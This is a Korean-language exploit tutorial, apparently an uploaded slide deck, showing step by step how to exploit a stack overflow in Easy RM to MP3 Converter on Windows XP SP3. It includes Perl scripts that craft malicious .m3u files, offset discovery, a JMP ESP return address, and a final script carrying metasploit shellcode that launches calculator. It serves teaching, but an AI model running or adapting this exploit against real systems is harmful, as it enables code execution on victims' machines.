[exploit]stack overflow - insect

17
StackOverflow 1` Stack Overflow 스택 기반 오버플로우 Easy RM to MP3 Converter에 존재하는 취약점을 이용하여 exploit을 실습한다. 소속 Colony 이름 김동현 [email protected] http://binsect00.tistory.com 작성일 ’15.08.25

Upload: insect

Post on 14-Dec-2015

122 views

Category:

Documents


4 download

DESCRIPTION

StackOverflow-INSECT

TRANSCRIPT

Page 1: [Exploit]Stack Overflow - INSECT

StackOverflow

1`

Stack Overflow

스택 기반 오버플로우

Easy RM to MP3 Converter에 존재하는 취약점을 이용하여 exploit을 실습한다.

소속 Colony

이름 김동현

[email protected]

http://binsect00.tistory.com

작성일 ’15.08.25

Page 2: [Exploit]Stack Overflow - INSECT

StackOverflow

2

서론

Easy RM to MP3 Coverter에 존재하는 취약점을 이용하여 exploit code를

작성하고 스택 기반 오버플로우를 학습한다.

본론

환경 Microsoft Windows XP Service Pack 3

대상 Easy RM to MP3 Coverter

호스트 PC에 대상이 되는 Easy RM to MP3 Converter를 설치하고 perl

code를 작성한다

my $file = "crash.m3u";

my $junk = "\x41" x 10000;

open($FILE, ">$file");

print $FILE "$junk";

close($FILE);

print "m3u File Created Successfully \n";

위 code는 crash.m3u 파일을 생성하고 파일에 ‘\41 (A) ‘ 를 10000개 입력

하고 “m3u File Created Successfully\n” 문자열을 출력한다.

Easy RM to MP3 Coverter를 실행하고 생성한 파일을 Load 한다. 그러면

아래와 같이 에러 메시지를 출력함을 알 수 있다.

Page 3: [Exploit]Stack Overflow - INSECT

StackOverflow

3

A의 개수가 일정이상이 되면 프로그램이 crash 된다. (30000개를 넣으면

crash 됨을 볼 수 있다.)

Page 4: [Exploit]Stack Overflow - INSECT

StackOverflow

4

위와같이 비정상적인 에러가 발생할 경우 crash 되었다고 볼 수 있다.

‘공격’이란 공격자가 공격코드 수행과 같은 행동을 통해 어플리케이션에서 의

도치 않은 행동을 유발하게 만드는 것이다. 가장 쉬운 방법으로는 어플리케이션

의 흐름을 통제하는 것이다.

* 메모리 구조

code segment : 프로세서가 실행하는 명령. EIP는 다음 명령의 트랙

을 가지고 있다.

data segment : 변수가 저장되어 있다. 동적 버퍼

stack segment : 함수에 데이터나 인자를 전달하기 위해 사용한다.

Code(.text)

Data(.data)

Data(.bss)

Heap

Stack

Main() 지역 변수

argc

**argv

**envp

커맨드 라인 인자

환경변수

Text segment : 읽기 전용. 고정된 크기로 어플리케이션 코드를 가

지고 있다.

Data/bss segment : 쓰기 가능. 고정된 크기로 전역 변수와 정적 변

낮은주소

높은주소

Page 5: [Exploit]Stack Overflow - INSECT

StackOverflow

5

수를 저장하는데 사용

- .data : 초기화된 전역 변수, 문자열, 상수 등

- .bss : 초기화 되지 않은 변수

Stack : LIFO 구조를 가진 데이터 구조체. 높은 주소에서 낮은 주수로

신장한다.

Code(.text)

Data(.data)

Data(.bss)

Heap

buffer[128]

EBP

RET(EIP)

ptr to program1(인자)

main() local vars

envp, argv, etc

프로그램에서 do_something(program1)이 호출 될 경우 메모리 구조

는 아랫단부터 main의 지역변수들이 있고 인자값인 program1이 push

된다. 그리고 RET(EIP), EBP를 push 한다. 그 뒤 do_something함수

내의 buffer[128]를 할당한다.

버퍼 오버플로우를 발생시키기 위해서는 buffer[128] + EBP +

RET(EIP) 를 덮어써야 된다.

함수를 빠져나오게 되면 RET(EIP)와 EBP는 스택으로부터 pop되면서

버퍼 오버플로우 시 들어간 값을 가지게 된다. 이렇게 될 경우

RET(EIP)가 변조되어 정상적인 흐름을 재개 할 수 없다. 또한 ptr 에

공격자의 코드로 덮는다면 EIP가 공격자의 코드로 갈 수 있게 되고 공

격자는 통제권을 가질 수 있다.

메모리가 어떻게 변하여 RET(EIP)를 통제하게 되는지 보기 위하여 WinDbg

를 이용한다.

‘ windbg.exe>windbg –I ‘ 를 이용하여 post-mortem 디버거로 설정한다. 이

경우 어플리케이션에서 문제 발생 후에 문제점에 대하여 사후 분석이 가능해

진다. (오류 발생시 디버거가 자동으로 포착)

ESP

Page 6: [Exploit]Stack Overflow - INSECT

StackOverflow

6

같은 방법으로 Easy RM to MP3 Coverter를 crash 하면 windbg가 실행이

되며 분석이 가능해 진다.

이때의 결과에서 eip 가 41414141 로 채워진 것을 볼 수 있다.

위의 설명한 메모리 구조와 함수호출 시 메모리 변화에 적용시켜 볼 때

crash.m3u 파일이 버퍼로 읽혀 버퍼 오버플로우가 된 것 처럼 보인다. 만약 버

퍼의 정확한 크기를 알 수 있다면 RET(EIP) 값을 완전히 제어 할 수 있다. 이

런 형태의 취약점을 스택 오버플로우라 한다.

정확한 RET(EIP)위치를 알기 위하여 초기에 작성한 crash.m3u 파일을 수정

한다. A가30000개 쓰였을 때 crash가 되었으므로 30000개 이하로 수를 조정

하며 winDbg를 보면 RET(EIP)의 위치를 알 수 있다.

‘A’ 문자를 25000개 넣고 그뒤 ‘B’문자를 5000개를 채우는 파일을 생성한다.

my $file = "crash25000.m3u";

my $junk = "\x41" x 25000;

my $junk2 = "\x42" x 5000;

open($FILE, ">$file");

print $FILE $junk.$junk2;

Page 7: [Exploit]Stack Overflow - INSECT

StackOverflow

7

close($FILE);

print "m3u File Created Successfully \n";

이 파일을 Load 시키면 eip 값이 42424242로 바뀐 것을 알 수 있다. 여기서

RET(EIP)는 25001~30000에 있다는 것을 알 수 있다.

metasploit에서는 일정패턴을 이용하여 바이너리를 만들어주는

pattern_create와 offset을 계산해주는 pattern_offset이 있다. 이것을 이용하여

패턴을 만들어 crash에 이용하면 그 위치를 쉽게 알 수 있다.

pattern_create 를 사용하여 5000개의 문자 패턴을 만들고 기존의 25000개

문자가 적혀있는 crash.m3u 파일뒤에 붙여서 30000개의 문자를 만들어 Load

하면 carsh 되면서 RET(EIP)값을 알 수 있다.

Page 8: [Exploit]Stack Overflow - INSECT

StackOverflow

8

RET(EIP)값이 0x356b4234 이고 5000개의 문자임으로 이것으로

pattern_offset을 구한다.

25000개의 A값이 있고 offset이 1094이므로 25000+1094 = 26094byte의

버퍼크기를 가지고 있다. 즉, 26094byte + 4byte RET(EIP) 를 넣으면

RET(EIP)를 통제할 수 있다.

26094 byte의 A문자와 RET(EIP)에 쓸 4byte BBBB와 ESP를 확인하기위한

1000 byte C문자로 채워진 파일을 만들고 crash한다. crash 되면 EIP가

‘42424242’로 채워진것과 ESP가 ‘4343~’ 으로 채워진 것이 보일 것 이다.

my $file =

"crash25000_EIP_BBBB.m3u";

my $junk = "\x41" x 26094;

my $eip = "BBBB";

my $espdata = "C" x 1000;

open($FILE, ">$file");

print $FILE $junk.$eip.$espdata;

close($FILE);

print "m3u File Created Successfully

\n";

이렇게 crash가 되었을 때 메모리구조를 보면 buffer와 EBP에 A문자가 채워지

Page 9: [Exploit]Stack Overflow - INSECT

StackOverflow

9

고 EIP에는 B문자가 채워진다. 이로인하여 프로그램은 ‘42424242’ 주소로 이

어지게 된다.

이제는 EIP를 제어할 수 있다. 이 말은 어떠한 곳에 공격할 쉘코드가 있다면

EIP를 변조하여 쉘코드를 실행할 수 있다는 것이다.

관건은 어디에 어떻게 쉘코드를 넣고 EIP를 지정해주냐는 것이다. 공격하는

프로그램에서 crash 될때 우리가 입력한 버퍼 데이터를 레지스터 중 하나에서

볼 수 있다면 쉘코드를 그것으로 대체 할 수 있고 그 위치로 점프를 할 수 있

다.

위에서와 같이 ESP에 ‘C’값이 들어가는 것을 확인 하였고 ‘C’ 대신 쉘코드

를 넣어 EIP가 ESP주소로 가도록 한다.

ESP가 가르키는 첫번째 주소를 구해야하는데 위에서 ‘C’ 값을 넣었을 때

000ff730주소가 목표주소인지는 확신 할 수 없으므로 일정 패턴을 가진 값으로

ESP 첫번째 주소를 알아본다.

my $file = "crash25000_EIP_BBBB.m3u";

my $junk = "\x41" x 26094;

my $eip = "BBBB";

my $shellcode =

"1ABCDEFGHIJK2ABCDEFGHIJK3ABCDEFGHIJK4ABCDEFGHIJK".

"5ABCDEFGHIJK6ABCDEFGHIJK".

"7ABCDEFGHIJK8ABCDEFGHIJK".

"9ABCDEFGHIJKAABCDEFGHIJK".

"BABCDEFGHIJKCABCDEFGHIJK";

open($FILE, ">$file");

print $FILE $junk.$eip.$shellcode;close($FILE);

print "m3u File Created Successfully \n";

Page 10: [Exploit]Stack Overflow - INSECT

StackOverflow

1 0

위에서 생성된 파일로 crash시키면 esp 의 시작은 shellcode 변수의 5번째

(D) 부터 시작한다는 것을 알 수 있다.

확인을 하기 위하여 앞에 DDDD의 4byte값을 넣어 crash하면 원하는 주소부

터 패턴이 시작되는 것을 알 수 있다.

my $file = "crash25000_EIP_BBBB.m3u";

my $junk = "\x41" x 26094;

my $eip = "BBBB";

my $shellcode =

"DDDD1ABCDEFGHIJK2ABCDEFGHIJK3ABCDEFGHIJK4ABCDEFGHIJK".

"5ABCDEFGHIJK6ABCDEFGHIJK".

"7ABCDEFGHIJK8ABCDEFGHIJK".

"9ABCDEFGHIJKAABCDEFGHIJK".

"BABCDEFGHIJKCABCDEFGHIJK";

open($FILE, ">$file");

print $FILE $junk.$eip.$shellcode;close($FILE);

print "m3u File Created Successfully \n";

Page 11: [Exploit]Stack Overflow - INSECT

StackOverflow

1 1

이제는 EIP를 제어할 수 있고 쉘코드를 쓸 수 있는 공간과 0x000ff730을 가

르키는 레지스터도 알 고 있다. 이제는 공격용 쉘코드를 작성하고 EIP가 쉘코

드의 시작 주소로 점프하도록 0x000ff730을 EIP에 덮어쓰면 된다.

테스트를 위하여 EIP에 0x000ff730 주소를 넣고 25개의 NOP과 브레이크를

넣고 추가적으로 NOP을 넣어본다. 이때, 지금까지의 개념으로는 EIP는 NOP을

가지는 0x000ff730으로 점프를 할 것이다. 그리고 프로그램이 진행되어 브레이

크까지 이동할 것이다.

my $file = "crash25000_jump.m3u";

my $junk = "\x41" x 26094;

my $eip = pack('V',0x000ff730);

my $shellcode = "\x90" x 25;

$shellcode = $shellcode."\xcc";

$shellcode = $shellcode."\x90" x 25;

open($FILE, ">$file");

print $FILE $junk.$eip.$shellcode;

close($FILE);

print "m3u File Created Successfully

\n";

Page 12: [Exploit]Stack Overflow - INSECT

StackOverflow

1 2

carsh가 되며 EIP가 0x000ff730으로 jump하면서 ESP에 위치한 것을 볼 수

있다. 하지만 ESP를 덤프하여 보면 위에서 생각했던 것과는 다른 결과를 보여

준다.

EIP가 0x000ff730으로 jump하여 실행을 하였지만 0x000ff730에는

0x00(null/종단문자)이 존재하여 break 지점까지 도달하지 못한다. 따라서

0x000ff730과 같이 직접적인 메모리로 EIP를 덮어쓰는 방법은 좋은 방법이 아

니다.

(0x000ff730 메모리를 제어 할 수 있는 경우 이 방법이 가능하다.)

이에 따라 어플리케이션이 우리가 제작한 코드로 점프하게 만들어야 한다. 그

러기위해서는 레지스터(or 레지스터 offset)를 참조할 수 있어야 하며(현재의

ESP), 그 레지스터로 점프하는 함수를 찾아야 한다. 이럴경우 함수 주소로 EIP

를 덮어 쓸 수 있다.

윈도우 어플리케이션은 dll을 로드하여 사용한다. 이 dll에 의해 사용되는 주소

들은 정적이다. ESP로 JMP 하는 명령을 가진 dll을 찾을 수 있다면 그 명령주소

를 EIP로 덮어서 사용가능하다.

WinDbg로 Easy Rm to MP3 를 attach 한다.

Page 13: [Exploit]Stack Overflow - INSECT

StackOverflow

1 3

commandline 에서 ‘a’를 입력하여 assambley 사용명령을 내리고 ‘jmp esp’를

입력한다. 그리고 u 7c93120e’ 를 입력하면 jmp esp 의 opcode를 알 수 있다.

jmp esp 의 opcode는 ffe4 이다.(DisasmViewer 프로그램을 이용하면 쉽게 알

수 있다)

먼저 Load된 dll 중 에서‘Easy RM to MP3 Converter’ 에 관련된 dll을 찾는

다.

찾은 dll을 중점으로 ffe4 opcode가 쓰인 dll을 찾는다. (명령어 : s [시작주소]

l [끝주소] [opcode] )

Page 14: [Exploit]Stack Overflow - INSECT

StackOverflow

1 4

MSRMCcodec02.dll을 기준으로 진행을 한다.

MSRMCcodec02.dll 에서 ffe4 opcode를 검색하면 아래와 같다.

만약 EIP가 0x01b7f23a 로 덮어쓰게 되면 JMP ESP가 실행이 될것이고 쉘

코드에는 \cc(break) 가 있어서 exploit에 성공하게 될 것이다.

my $file =

Page 15: [Exploit]Stack Overflow - INSECT

StackOverflow

1 5

"crash25000_JMP_ESP.m3u";

my $junk = "\x41" x 26094;

my $eip = pack('V',0x01b7f23a);

my $shellcode = "\x90" x 25;

$shellcode = $shellcode."\xcc";

open($FILE, ">$file");

print $FILE

$junk.$eip.$shellcode;close($FILE);

print "m3u File Created Successfully

\n";

EIP는 0x000ff745에서 break 하게 되는데 이 주소는 ‘\xcc’ 가 들어간 자리

로 break 위치이다. 즉, RET(EIP)에 0x01b7f23a 주소가 있어서 0x01b7f23a

주소로 RTN하게 되고 0x01b7f23a 주소에는 JMP ESP 가 있어서 0x000ff730

으로 JMP하여 계속 진행이 된다. 그리고 ‘\xcc’를 만나서 프로그램이 break

되는 것 이다.

이제 ‘\xcc’ 가 아닌 쉘코드를 넣어서 exploit을 완성한다. metasploit에는 페

이로드 생성기가 있다. 이것을 이용하여 쉘코드를 작성한다.

Page 16: [Exploit]Stack Overflow - INSECT

StackOverflow

1 6

my $file = "crash25000_JMP_ESP.m3u";

my $junk = "\x41" x 26094;

my $eip = pack('V',0x01b7f23a);

my $shellcode = "\x90" x 25;

$shellcode =

$shellcode."\xdb\xc0\x31\xc9\xbf\x7c\x16\x70\xcc\xd9\x74\x24\xf4\xb1" .

"\x1e\x58\x31\x78\x18\x83\xe8\xfc\x03\x78\x68\xf4\x85\x30" .

"\x78\xbc\x65\xc9\x78\xb6\x23\xf5\xf3\xb4\xae\x7d\x02\xaa" .

"\x3a\x32\x1c\xbf\x62\xed\x1d\x54\xd5\x66\x29\x21\xe7\x96" .

"\x60\xf5\x71\xca\x06\x35\xf5\x14\xc7\x7c\xfb\x1b\x05\x6b" .

"\xf0\x27\xdd\x48\xfd\x22\x38\x1b\xa2\xe8\xc3\xf7\x3b\x7a" .

"\xcf\x4c\x4f\x23\xd3\x53\xa4\x57\xf7\xd8\x3b\x83\x8e\x83" .

"\x1f\x57\x53\x64\x51\xa1\x33\xcd\xf5\xc6\xf5\xc1\x7e\x98" .

"\xf5\xaa\xf1\x05\xa8\x26\x99\x3d\x3b\xc0\xd9\xfe\x51\x61" .

"\xb6\x0e\x2f\x85\x19\x87\xb7\x78\x2f\x59\x90\x7b\xd7\x05" .

"\x7f\xe8\x7b\xca";

open($FILE, ">$file");

print $FILE $junk.$eip.$shellcode;close($FILE);

print "m3u File Created Successfully \n";

Page 17: [Exploit]Stack Overflow - INSECT

StackOverflow

1 7

이렇게 작성한 파일을 load하면 crash가 되면서 계산기가 실행된다.